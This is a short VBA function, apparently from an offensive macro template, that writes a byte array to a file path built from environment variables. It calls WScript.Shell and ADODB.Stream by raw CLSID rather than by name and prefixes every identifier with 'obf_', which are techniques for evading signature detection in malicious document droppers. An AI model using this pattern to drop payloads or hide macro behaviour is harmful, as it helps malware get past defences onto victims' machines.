Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_counter
    Dim obf_mem As Object
    obf_counter = 0

    With CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
        obf_saveAs = .ExpandEnvironmentStrings(obf_saveAs)
    End With

    With CreateObject("new:00000566-0000-0010-8000-00AA006D2EA4")
        .Type = 1
        .Open

        Set obf_mem = CreateObject("System.IO.MemoryStream")
        obf_mem.SetLength(0)

        For Each obf_byte in obf_data
            obf_mem.WriteByte(obf_byte)
            obf_counter = obf_counter + 1
        Next

        obf_mem.SetLength(obf_counter-1)

        .Write obf_mem.ToArray()
        .SaveToFile obf_saveAs, 2
    End With
    
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function